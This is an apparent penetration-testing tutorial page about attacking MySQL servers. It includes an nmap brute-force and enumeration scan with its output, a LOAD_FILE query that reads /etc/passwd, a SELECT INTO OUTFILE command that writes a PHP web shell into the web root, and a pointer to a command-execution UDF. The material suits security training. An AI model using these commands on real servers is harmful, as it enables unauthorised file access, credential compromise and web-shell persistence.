> For the complete documentation index, see [llms.txt](https://docs.wehost.co.in/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.wehost.co.in/cybersecurity/mysql-attacks.md). # MYSQL attacks ### Default Configuration ```shell-session sudo apt install mysql-server -y ``` ```shell-session cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | sed -r '/^\s*$/d' ``` ```shell-session [client] port = 3306 socket = /var/run/mysqld/mysqld.sock [mysqld_safe] pid-file = /var/run/mysqld/mysqld.pid socket = /var/run/mysqld/mysqld.sock nice = 0 [mysqld] skip-host-cache skip-name-resolve user = mysql pid-file = /var/run/mysqld/mysqld.pid socket = /var/run/mysqld/mysqld.sock port = 3306 basedir = /usr datadir = /var/lib/mysql tmpdir = /tmp lc-messages-dir = /usr/share/mysql explicit_defaults_for_timestamp symbolic-links=0 !includedir /etc/mysql/conf.d/ ``` ### Dangerous Settings | **Settings** | **Description** | | ------------------ | ------------------------------------------------------------------------------------------------------------ | | `user` | Sets which user the MySQL service will run as. | | `password` | Sets the password for the MySQL user. | | `admin_address` | The IP address on which to listen for TCP/IP connections on the administrative network interface. | | `debug` | This variable indicates the current debugging settings | | `sql_warnings` | This variable controls whether single-row INSERT statements produce an information string if warnings occur. | | `secure_file_priv` | This variable is used to limit the effect of data import and export operations. | ### Footprinting the Service ```shell-session sudo nmap 10.129.14.128 -sV -sC -p3306 --script mysql* ``` ```shell-session Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-21 00:53 CEST Nmap scan report for 10.129.14.128 Host is up (0.00021s latency). PORT STATE SERVICE VERSION 3306/tcp open nagios-nsca Nagios NSCA | mysql-brute: | Accounts: | root: - Valid credentials |_ Statistics: Performed 45010 guesses in 5 seconds, average tps: 9002.0 |_mysql-databases: ERROR: Script execution failed (use -d to debug) |_mysql-dump-hashes: ERROR: Script execution failed (use -d to debug) | mysql-empty-password: |_ root account has empty password | mysql-enum: | Valid usernames: | root: - Valid credentials | netadmin: - Valid credentials | guest: - Valid credentials | user: - Valid credentials | web: - Valid credentials | sysadmin: - Valid credentials | administrator: - Valid credentials | webadmin: - Valid credentials | admin: - Valid credentials | test: - Valid credentials |_ Statistics: Performed 10 guesses in 1 seconds, average tps: 10.0 | mysql-info: | Protocol: 10 | Version: 8.0.26-0ubuntu0.20.04.1 | Thread ID: 13 | Capabilities flags: 65535 | Some Capabilities: SupportsLoadDataLocal, SupportsTransactions, Speaks41ProtocolOld, LongPassword, DontAllowDatabaseTableColumn, Support41Auth, IgnoreSigpipes, SwitchToSSLAfterHandshake, FoundRows, InteractiveClient, Speaks41ProtocolNew, ConnectWithDatabase, IgnoreSpaceBeforeParenthesis, LongColumnFlag, SupportsCompression, ODBCClient, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults | Status: Autocommit | Salt: YTSgMfqvx\x0F\x7F\x16\&\x1EAeK>0 |_ Auth Plugin Name: caching_sha2_password |_mysql-users: ERROR: Script execution failed (use -d to debug) |_mysql-variables: ERROR: Script execution failed (use -d to debug) |_mysql-vuln-cve2012-2122: ERROR: Script execution failed (use -d to debug) MAC Address: 00:00:00:00:00:00 (VMware) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.21 seconds ``` ### MySQL - Read Local Files in MySQL ```shell-session select LOAD_FILE("/etc/passwd"); ``` ```shell-session +--------------------------+ | LOAD_FILE("/etc/passwd") +--------------------------------------------------+ root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync ``` * ### Write Local Files ```shell-session SELECT "" INTO OUTFILE '/var/www/html/webshell.php'; ``` * In `MySQL`, a global system variable [secure\_file\_priv](https://dev.mysql.com/doc/refman/5.7/en/server-system-variables.html#sysvar_secure_file_priv) limits the effect of data import and export operations, such as those performed by the `LOAD DATA` and `SELECT … INTO OUTFILE` statements and the [LOAD\_FILE()](https://dev.mysql.com/doc/refman/5.7/en/string-functions.html#function_load-file) function. These operations are permitted only to users who have the [FILE](https://dev.mysql.com/doc/refman/5.7/en/privileges-provided.html#priv_file) privilege. * `secure_file_priv` may be set as follows * If empty, the variable has no effect, which is not a secure setting. * If set to the name of a directory, the server limits import and export operations to work only with files in that directory. The directory must exist; the server does not create it. * If set to NULL, the server disables import and export operations. * In the following example, we can see the `secure_file_priv` variable is empty, which means we can read and write data using `MySQL`: **MySQL - Secure File Privileges** ```shell-session show variables like "secure_file_priv"; ``` ### User Defined Functions * `MySQL` supports [User Defined Functions](https://dotnettutorials.net/lesson/user-defined-functions-in-mysql/) which allows us to execute C/C++ code as a function within SQL * there's one User Defined Function for command execution in this [GitHub repository](https://github.com/mysqludf/lib_mysqludf_sys). * It is not common to encounter a user-defined function like this in a production environment, but we should be aware that we may be able to use it.